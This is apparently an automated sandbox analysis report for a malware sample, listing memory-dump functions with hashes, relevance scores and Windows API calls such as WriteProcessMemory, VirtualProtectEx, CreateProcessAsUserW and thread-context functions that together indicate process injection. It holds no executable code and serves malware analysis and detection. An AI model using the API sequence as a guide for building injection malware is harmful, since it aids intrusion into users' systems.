Source File: 00000000.00000002.2851603076.0000000007AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ad0000_random.jbxd

Similarity

API ID:
String ID: <
API String ID: 0-4251816714
Opcode ID: 6b12b1b361d80bafc8a50152894537bfd7e0011317e3d0ecbdde0012b0dd8927
Instruction ID: 67ab14fcfa762c0780b104f8849377e0c5f7656416c1385716d2d69fa55c2502
Opcode Fuzzy Hash: 6b12b1b361d80bafc8a50152894537bfd7e0011317e3d0ecbdde0012b0dd8927
Instruction Fuzzy Hash: D25153B5E01618CFDB58CFAAC9446DDBBF2AFC9301F14C0AAD519AB264DB345A85CF40

Function 05FD2590 Relevance: .6, Instructions: 602COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2846472910.0000000005FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5fd0000_random.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2376ee45148a41bdd02294da4715fb686c382d7f51b9115400d6a10ab87ad8b
Instruction ID: f7fc16c54822adfee436a5ec9dd65b0c245038577768b473c826510f2acc5ff6
Opcode Fuzzy Hash: e2376ee45148a41bdd02294da4715fb686c382d7f51b9115400d6a10ab87ad8b
Instruction Fuzzy Hash: 08526B34A003458FCB14DF28C844B99B7B2FF85314F2586E9D5586F3A2DBB5A986CF81

Function 05FD25C0 Relevance: .6, Instructions: 596COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2846472910.0000000005FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5fd0000_random.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 816817fb40d3a487ac6b8759d092dc51d24229f1cd02f7dac21d23cac662c38f
Instruction ID: 707f03dd509564a8934f33371cf10191a83e8991e19443673a3449c12dd040dd
Opcode Fuzzy Hash: 816817fb40d3a487ac6b8759d092dc51d24229f1cd02f7dac21d23cac662c38f
Instruction Fuzzy Hash: 03525A34A003458FCB14DF28C844B99B7B2FF89314F2586E9D5586F3A1DBB5A986CF81

Function 05FD7293 Relevance: .4, Instructions: 383COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2846472910.0000000005FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5fd0000_random.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0e21a5aaed08586e168047fdea68ab3145b8c78e0ab32e69db708ad15c6c820
Instruction ID: 63ff360adde8371fdfccbe7abea786ec9e18420ea0efa2b79459889bb9dd56f0
Opcode Fuzzy Hash: a0e21a5aaed08586e168047fdea68ab3145b8c78e0ab32e69db708ad15c6c820
Instruction Fuzzy Hash: B412C975D0061ACFCB15DF68C880AD9F7B1FF89300F1586AAD459AB211EB74AAC5CF90

Function 05FD72A8 Relevance: .4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2846472910.0000000005FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5fd0000_random.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e7b7cdaa4254311e8387695018a0c8c602e3429142262c724387d968729d506
Instruction ID: 0d06336b25f5674629d4000e15d45b339fbc0b8641936a17e4e68ba7b258fd03
Opcode Fuzzy Hash: 6e7b7cdaa4254311e8387695018a0c8c602e3429142262c724387d968729d506
Instruction Fuzzy Hash: 9F12C875D0061ACFCB15DF68C884AD9F7B1FF49300F1586AAD459AB211EB74AAC4CF90

Function 06097C28 Relevance: .2, Instructions: 224COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2846922409.0000000006090000.00000040.00000800.00020000.00000000.sdmp, Offset: 06090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6090000_random.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99094e51e7a11481fd9dd8014a44af4797e5484533a729485910a92f94562081
Instruction ID: 6211463ad127f91e73c7f12e8bd6c4a055cccc4e521db4e928c983b0877192a7
Opcode Fuzzy Hash: 99094e51e7a11481fd9dd8014a44af4797e5484533a729485910a92f94562081
Instruction Fuzzy Hash: 03913471E95218CFDF48CFA5D9546EDBBB3FB89300F10942AD60ABB254D7349841CB68

Function 06097C18 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2846922409.0000000006090000.00000040.00000800.00020000.00000000.sdmp, Offset: 06090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6090000_random.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98030d626cd9c2d9faca089a9ad9112ebed6e1497c580a3e06b003678d9d5871
Instruction ID: 5347f97382e004d0b59af6fbdf5301456b3c05ec89c7c238b1f9d9b91cb95c3c
Opcode Fuzzy Hash: 98030d626cd9c2d9faca089a9ad9112ebed6e1497c580a3e06b003678d9d5871
Instruction Fuzzy Hash: 0D913475E91218CFDF48CFA5D9846DDBBB3FB89300F20842AD60ABB254D7349945CB68

Function 060995D8 Relevance: .2, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2846922409.0000000006090000.00000040.00000800.00020000.00000000.sdmp, Offset: 06090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6090000_random.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fba6d0d15829833f11117ca60e22e9afd0399d30bf92cc3dec6da3ecab1552aa
Instruction ID: 7924f8d22aefbc2cfd4948c07758635c55de767b6288c978a38794daebc7f6c7
Opcode Fuzzy Hash: fba6d0d15829833f11117ca60e22e9afd0399d30bf92cc3dec6da3ecab1552aa
Instruction Fuzzy Hash: 5F71E0B4D41218CFDB98CFA9D9546EEBBF2BB88300F24802AD415BB254DB341946CFA4

Function 07B40B28 Relevance: .2, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2851986274.0000000007B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b40000_random.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bbf6ff6e89ec6f5139d250ef124c6ce0cf4f1c951447287b27cabe53bac7dd4
Instruction ID: 4516df602316b613a818ef763a2d3eedcbe4795470ed8c4f31750eb52c8d6ce1
Opcode Fuzzy Hash: 6bbf6ff6e89ec6f5139d250ef124c6ce0cf4f1c951447287b27cabe53bac7dd4
Instruction Fuzzy Hash: 707110B4D11219CFDB14DFA9D9946EEBBB2FF88300F2080AAD815BB254DB345902DF54

Function 07B40B18 Relevance: .2, Instructions: 162COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2851986274.0000000007B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b40000_random.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc58893a0d607e715904f71994c635efcdc60f0a13af0b60c285906717544577
Instruction ID: f198cd8532fd40b6c8fcf642c55436036d5d383e6fd75896398532676c842f3d
Opcode Fuzzy Hash: bc58893a0d607e715904f71994c635efcdc60f0a13af0b60c285906717544577
Instruction Fuzzy Hash: 28711FB4D12219CFDB54DFA9D5946AEBBF2BF88300F2081AAD811BB254DB345A01DF54

Function 06094D08 Relevance: .1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2846922409.0000000006090000.00000040.00000800.00020000.00000000.sdmp, Offset: 06090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6090000_random.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ede361becd376ac2a61286ebd2313138b412904bd5ddab25c9074129281ad37
Instruction ID: 7f6def040e36e5f8146068151639ab6d977b416cfe276e0492831352102a2a0f
Opcode Fuzzy Hash: 5ede361becd376ac2a61286ebd2313138b412904bd5ddab25c9074129281ad37
Instruction Fuzzy Hash: C1511574E82209DFDF48CFA5D0446AEBBF2FB99300F008069E516A7354DB385A42DF64

Function 06094CF9 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2846922409.0000000006090000.00000040.00000800.00020000.00000000.sdmp, Offset: 06090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6090000_random.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78e88c81f55eaccfbd569bd37d8a07db4be4b99053e750c029ba6a1b2fd0e8e6
Instruction ID: 664c7022a92825b4372024a3a5b6af2b39084c3e80573cc66d1d8012ef2e4615
Opcode Fuzzy Hash: 78e88c81f55eaccfbd569bd37d8a07db4be4b99053e750c029ba6a1b2fd0e8e6
Instruction Fuzzy Hash: 13513474D81209DFDB58CFA5D4446AEBBF2BF89300F00806AE512A7350DB385A42CF60

Function 07AD53B8 Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2851603076.0000000007AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ad0000_random.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60ebcc29ffb57efbb57ab7abd5db0d49564017689f7cbef515ff522e3b8f9166
Instruction ID: f65208cbc14c9ba1e668bd80b557e398d49f8ed0b9d4ec5d244f1e90b423b029
Opcode Fuzzy Hash: 60ebcc29ffb57efbb57ab7abd5db0d49564017689f7cbef515ff522e3b8f9166
Instruction Fuzzy Hash: 102128B1E006188BEB18CFABD8453DEBBF7AFC8311F14C06AD409A6258DB751955CF91

Function 07B49EA9 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2851986274.0000000007B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b40000_random.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01037058bc801772a59844690eacd700efdf099cf027d01a1cc356111776b0ea
Instruction ID: ec8a207a25093c461d6de2a4d0282c77811feec1514614a8015035feb164879d
Opcode Fuzzy Hash: 01037058bc801772a59844690eacd700efdf099cf027d01a1cc356111776b0ea
Instruction Fuzzy Hash: 5B21F5B1E006189BEB18CFAAD8443DEBBB3AFC9310F14C06AD509AA258DB751955CF90

Function 07B4D501 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2851986274.0000000007B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b40000_random.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43bbe609392557154db8c312804a3957b0d9c8d922bbdd779f8b56484f6d0090
Instruction ID: c59f33e4e6a3b087cba4081ac174bb1fe1e964125d31fcc7e1b8a16aacb7eebb
Opcode Fuzzy Hash: 43bbe609392557154db8c312804a3957b0d9c8d922bbdd779f8b56484f6d0090
Instruction Fuzzy Hash: 6B2110B1E056188BEB59CF6BD84069EFBF7AFC9200F04C1B6D508A7225DB3046458F51

Function 07AD8A10 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2851603076.0000000007AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ad0000_random.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b32bdca77e6f950120caf19a9b3b70dff76b66c570ab85b5c3143b6df8e99ec
Instruction ID: d6d72d781964fe7b0c465a7ba1592cffa62c12247708316456a4eb7e727fa7bf
Opcode Fuzzy Hash: 7b32bdca77e6f950120caf19a9b3b70dff76b66c570ab85b5c3143b6df8e99ec
Instruction Fuzzy Hash: 7F2119B1E006188BEB58CF6BDC4179EFBF7AFC8200F14C1B9D518A6224EB345A458F51

Function 0254D440 Relevance: 6.1, APIs: 4, Instructions: 128threadCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 0254D4BE
GetCurrentThread.KERNEL32 ref: 0254D4FB
GetCurrentProcess.KERNEL32 ref: 0254D538
GetCurrentThreadId.KERNEL32 ref: 0254D591

Memory Dump Source

Source File: 00000000.00000002.2826866054.0000000002540000.00000040.00000800.00020000.00000000.sdmp, Offset: 02540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2540000_random.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: dfe77cc6e6b2ec3d3e341abd919da2e682c7c0a084cd9033f762db39b183eda0
Instruction ID: b741b61d5595298b302a880b80b2737006a6e315951ce0648e8823444a3af680
Opcode Fuzzy Hash: dfe77cc6e6b2ec3d3e341abd919da2e682c7c0a084cd9033f762db39b183eda0
Instruction Fuzzy Hash: 6A5125B09012498FDB14DFA9D548BAEFBF5FF88308F208459D409A7250DB78A944CF65

Function 05FC0040 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 249COMMON

Download Yara Rule

Strings

Hnq, xrefs: 05FC02E4
Hnq, xrefs: 05FC02B1

Memory Dump Source

Source File: 00000000.00000002.2846345207.0000000005FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5fc0000_random.jbxd

Similarity

API ID:
String ID: Hnq$Hnq
API String ID: 0-3075287205
Opcode ID: d2d835f1d7048f8a074cbd15284555560848e3f727448eeb7217f7f9359201cf
Instruction ID: b5bc712a2c9c1df3a6b931148a99b265f2a07f94332fb96717bcefd4695151fa
Opcode Fuzzy Hash: d2d835f1d7048f8a074cbd15284555560848e3f727448eeb7217f7f9359201cf
Instruction Fuzzy Hash: 6CA14B34A002198FCB14DFA8C5989EEBBF6FF89310F1440A9D406AB361CB35AD46CF65

Function 0806FDB0 Relevance: 3.9, Strings: 3, Instructions: 148COMMON

Download Yara Rule

Strings

Hnq, xrefs: 0806FEC5
Hnq, xrefs: 0806FF0A
Hnq, xrefs: 0806FE80

Memory Dump Source

Source File: 00000000.00000002.2854852295.0000000008060000.00000040.00000800.00020000.00000000.sdmp, Offset: 08060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8060000_random.jbxd

Similarity

API ID:
String ID: Hnq$Hnq$Hnq
API String ID: 0-1699790779
Opcode ID: 7ee887d07a0de50e8da1546ce13ef6a66b161837616b6c8e327336790724ab40
Instruction ID: a30ebb6df259bf91c8bd3dcc10cd8365655d88a0d22e957f44bdb8d3cdc0bf09
Opcode Fuzzy Hash: 7ee887d07a0de50e8da1546ce13ef6a66b161837616b6c8e327336790724ab40
Instruction Fuzzy Hash: 02419930B002018BDB68ABBDA51427FBBEBAFC5341B14886ED9169B794DF35DC02CB55

Function 0254ADA8 Relevance: 1.7, APIs: 1, Instructions: 197COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 0254AFFE

Memory Dump Source

Source File: 00000000.00000002.2826866054.0000000002540000.00000040.00000800.00020000.00000000.sdmp, Offset: 02540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2540000_random.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: e5baaba31a7bc9ffce112116db3ec258ea6d28978fb2d93f9e9b273231ed15dc
Instruction ID: ceb2b9ce4b27f81442fbc71f3a91fa8d786988fbd14e73a067562beda922c225
Opcode Fuzzy Hash: e5baaba31a7bc9ffce112116db3ec258ea6d28978fb2d93f9e9b273231ed15dc
Instruction Fuzzy Hash: A4714470A00B058FD764DF29D05476ABBF5BF88308F008A2DD49AD7A50DB75E849CF94

Function 07B4043D Relevance: 1.7, APIs: 1, Instructions: 165processCOMMON

Download Yara Rule

APIs

CreateProcessAsUserW.KERNEL32(?,?,?,0000000A,?,?,?,?,?,?,?), ref: 07B405B3

Memory Dump Source

Source File: 00000000.00000002.2851986274.0000000007B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b40000_random.jbxd

Similarity

API ID: CreateProcessUser
String ID:
API String ID: 2217836671-0
Opcode ID: 4305c349dec548c859fc243992b0739213c11efa1d56315d9fe1eaeffa14fca0
Instruction ID: ce774a03c1dd4b3a082092a5e30d5b68f48e6376cc68d22d834bcad03b93e4d2
Opcode Fuzzy Hash: 4305c349dec548c859fc243992b0739213c11efa1d56315d9fe1eaeffa14fca0
Instruction Fuzzy Hash: 165115B190022ADFDB24DF99C840BDDBBB1BF48310F0484EAE919B7250DB759A85DF90

Function 07B40448 Relevance: 1.7, APIs: 1, Instructions: 164processCOMMON

Download Yara Rule

APIs

CreateProcessAsUserW.KERNEL32(?,?,?,0000000A,?,?,?,?,?,?,?), ref: 07B405B3

Memory Dump Source

Source File: 00000000.00000002.2851986274.0000000007B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b40000_random.jbxd

Similarity

API ID: CreateProcessUser
String ID:
API String ID: 2217836671-0
Opcode ID: ac683877b9de4c3f9d4e1ebcefb20d1f302ba77c4162d8470817188542d34a2f
Instruction ID: 4d6e5238089c04dbdbf0e85a4d569758a616f6ecc2e2b6525809ed30be4a456c
Opcode Fuzzy Hash: ac683877b9de4c3f9d4e1ebcefb20d1f302ba77c4162d8470817188542d34a2f
Instruction Fuzzy Hash: C251F5B190022ADFDB24DF99C840BDDBBB5BF48310F0484EAE919B7250DB759A85DF90

Function 07AD33D6 Relevance: 1.6, APIs: 1, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 07AD34B3

Memory Dump Source

Source File: 00000000.00000002.2851603076.0000000007AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ad0000_random.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: bf4faa90e0e8c50ec38388e4b1116d44bcb97d8be9481f6bfd620c5726e8fdfb
Instruction ID: fef7d5b80c6f57abb0052d315b43096a45b48af9ce08ed5548c1fe6669ef4bcc
Opcode Fuzzy Hash: bf4faa90e0e8c50ec38388e4b1116d44bcb97d8be9481f6bfd620c5726e8fdfb
Instruction Fuzzy Hash: 21318DB69047498FCB11CFA9D8487CAFFF4FB49321F10855AD459AB242C7385A44CFA2

Function 0A366809 Relevance: 1.6, APIs: 1, Instructions: 70COMMON

Download Yara Rule

APIs

MonitorFromPoint.USER32(?,?,00000002), ref: 0A366897

Memory Dump Source

Source File: 00000000.00000002.2855382949.000000000A360000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a360000_random.jbxd

Similarity

API ID: FromMonitorPoint
String ID:
API String ID: 1566494148-0
Opcode ID: d8c571d6aa5dcf68ac92d50387f17755bcefd9e4b210ad25497b045d6be0db89
Instruction ID: 40915d38029e3a9dafb8339ab628dc06c0c22ff122d2efbca714c94f126ff99d
Opcode Fuzzy Hash: d8c571d6aa5dcf68ac92d50387f17755bcefd9e4b210ad25497b045d6be0db89
Instruction Fuzzy Hash: 7C219C74D002889FCB10DFA9C449BEEBFF1EB49310F54845AE856AB385C7356844CFA1

Function 07B42A78 Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 07B42B08

Memory Dump Source

Source File: 00000000.00000002.2851986274.0000000007B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b40000_random.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 8fd10b22acba2144d16fbce88c0b87529a42be05858a5701f0d2643258d68ada
Instruction ID: 0fb9c5b8e86a8d9947771026377d1366afdaf9a4cb0d9a30c4fda46495efbf18
Opcode Fuzzy Hash: 8fd10b22acba2144d16fbce88c0b87529a42be05858a5701f0d2643258d68ada
Instruction Fuzzy Hash: 95214AB19003099FDB10DFAAC985BEEBBF5FF48310F10842AE919A7240C7789944DFA0

Function 07B42A71 Relevance: 1.6, APIs: 1, Instructions: 68injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 07B42B08

Memory Dump Source

Source File: 00000000.00000002.2851986274.0000000007B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b40000_random.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: eac273955d538a40e96af55ceeb31c08c50cb1e0add4d96d71b139b8245428be
Instruction ID: 7d6c70a442ea3670cb759f09dad2ac8d26a88a8b6663a0314dc705dc812528bf
Opcode Fuzzy Hash: eac273955d538a40e96af55ceeb31c08c50cb1e0add4d96d71b139b8245428be
Instruction Fuzzy Hash: 1F2139B59003499FDB10CFA9C981BEEBBF5FF48310F10882AE959A7240C7789944DFA0

Function 07B42040 Relevance: 1.6, APIs: 1, Instructions: 66threadCOMMON

Download Yara Rule

APIs

Wow64GetThreadContext.KERNEL32(?,00000000), ref: 07B420C6

Memory Dump Source

Source File: 00000000.00000002.2851986274.0000000007B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b40000_random.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 0899cecfdf4d3551f4133f20ca27fd4c34114b49b3e6e2bb24af65139178b3b6
Instruction ID: 971074b54e40c9a2619a1b1b6f16434a89eb97ad15d4798766039d9b260cdc48
Opcode Fuzzy Hash: 0899cecfdf4d3551f4133f20ca27fd4c34114b49b3e6e2bb24af65139178b3b6
Instruction Fuzzy Hash: 982139B19002099FDB10DFAAC5857EEBBF4FF48314F14842AD559A7341CB78A944CFA0

Function 07B43428 Relevance: 1.6, APIs: 1, Instructions: 65threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 07B434AE

Memory Dump Source

Source File: 00000000.00000002.2851986274.0000000007B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b40000_random.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: a074446cffe24069c3229ee6383e82237fe13d7d0337312d5d7f3ce88eaa5227
Instruction ID: e22697b6f4f3d4809cd0c2cea25d4ba3e6369c8fd48bea6a41180ef7247caa61
Opcode Fuzzy Hash: a074446cffe24069c3229ee6383e82237fe13d7d0337312d5d7f3ce88eaa5227
Instruction Fuzzy Hash: 112138B19003099FDB14DFAAC9857EEFBF5EF48324F14842AD559A7240CB789985CFA0

Function 07B43430 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 07B434AE

Memory Dump Source

Source File: 00000000.00000002.2851986274.0000000007B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b40000_random.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 0c9d64e5d4bfdfc1092134213b310c1d7e4322c72cb98bb52c56011de04f3497
Instruction ID: ac739349e9230756ec39aa519ed3d5ca0750f2933481d9e444c51fe6fb198fa2
Opcode Fuzzy Hash: 0c9d64e5d4bfdfc1092134213b310c1d7e4322c72cb98bb52c56011de04f3497
Instruction Fuzzy Hash: 2B2115B19002099FDB10DFAAC9857EEFBF4EF48324F14842AD559A7240CB78A944CFA0

Function 07B42048 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Wow64GetThreadContext.KERNEL32(?,00000000), ref: 07B420C6

Memory Dump Source

Source File: 00000000.00000002.2851986274.0000000007B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b40000_random.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 55156a3abbfd6fd437cb13d3de9fee65c2fe9965b8093a32d06ca2a547538275
Instruction ID: 6001231f9717bb8886b24c0eba1209f24ede2813539e2338530310a498975724
Opcode Fuzzy Hash: 55156a3abbfd6fd437cb13d3de9fee65c2fe9965b8093a32d06ca2a547538275
Instruction Fuzzy Hash: 882107B19002098FDB10DFAAC4857EEBBF4FF48324F54842AD559A7240CB79A944DFA4

Function 0254D688 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0254D70F

Memory Dump Source

Source File: 00000000.00000002.2826866054.0000000002540000.00000040.00000800.00020000.00000000.sdmp, Offset: 02540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2540000_random.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 15d313035f5aff420674f4cf1f7ea2b2f1ae098d77ba0b34e1a3c5cc89f52d3b
Instruction ID: 51da104a5645adafb178b6aab488617139c07746cc87adc3391affc504df5238
Opcode Fuzzy Hash: 15d313035f5aff420674f4cf1f7ea2b2f1ae098d77ba0b34e1a3c5cc89f52d3b
Instruction Fuzzy Hash: 4121F5B59012489FDB10CF9AD984ADEFFF8FB48314F14801AE918A3310D379A940CFA4

Function 07B431C0 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

VirtualProtectEx.KERNEL32(?,?,?,?,?), ref: 07B4323F

Memory Dump Source

Source File: 00000000.00000002.2851986274.0000000007B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b40000_random.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 1a45d9f84cf47456addf577c6a2665f93cfe231d55a9e77387395b8a1a2ff83c
Instruction ID: 7468d6938c039b06121609bc565f56ccbf971b6e1b3d78c8f1067865a96181fc
Opcode Fuzzy Hash: 1a45d9f84cf47456addf577c6a2665f93cfe231d55a9e77387395b8a1a2ff83c
Instruction Fuzzy Hash: E82125B18002099FDB10DFAAC845BEEBBF5FF48320F148429D959A7250DB799944DFA1

Function 07B431C8 Relevance: 1.6, APIs: 1, Instructions: 60COMMON

Download Yara Rule

APIs

VirtualProtectEx.KERNEL32(?,?,?,?,?), ref: 07B4323F

Memory Dump Source

Source File: 00000000.00000002.2851986274.0000000007B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b40000_random.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: d9911e8a56b67ad6922754d2f0305b2aeffe8e206a3d57cb882df38b70bc5f31
Instruction ID: d29e3a81d0516126812039ac00681138e4b10a1718831ec4d30b1b15fb86d071
Opcode Fuzzy Hash: d9911e8a56b67ad6922754d2f0305b2aeffe8e206a3d57cb882df38b70bc5f31
Instruction Fuzzy Hash: 302115B18002099FDB10DFAAC844BEEFBF5FF48320F14842AD519A7250CB79A944DFA1

Function 05FDCC18 Relevance: 1.6, APIs: 1, Instructions: 58fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(00000000), ref: 05FDCC90

Memory Dump Source

Source File: 00000000.00000002.2846472910.0000000005FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5fd0000_random.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 08f3b4633ed09177caa0d34fec2476ab4b8e9e7f6f497751584ad2d677ed04be
Instruction ID: 0f06deb2f9de812ae12f6908f44cd54eb81878450fc218f41998eba27d51240b
Opcode Fuzzy Hash: 08f3b4633ed09177caa0d34fec2476ab4b8e9e7f6f497751584ad2d677ed04be
Instruction Fuzzy Hash: 782142B1C0065A8FCB10DFAAC5447EEFBB0FF08320F15812AD858A3240D738A940CFA0

Function 05FDCC20 Relevance: 1.6, APIs: 1, Instructions: 56fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(00000000), ref: 05FDCC90

Memory Dump Source

Source File: 00000000.00000002.2846472910.0000000005FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5fd0000_random.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
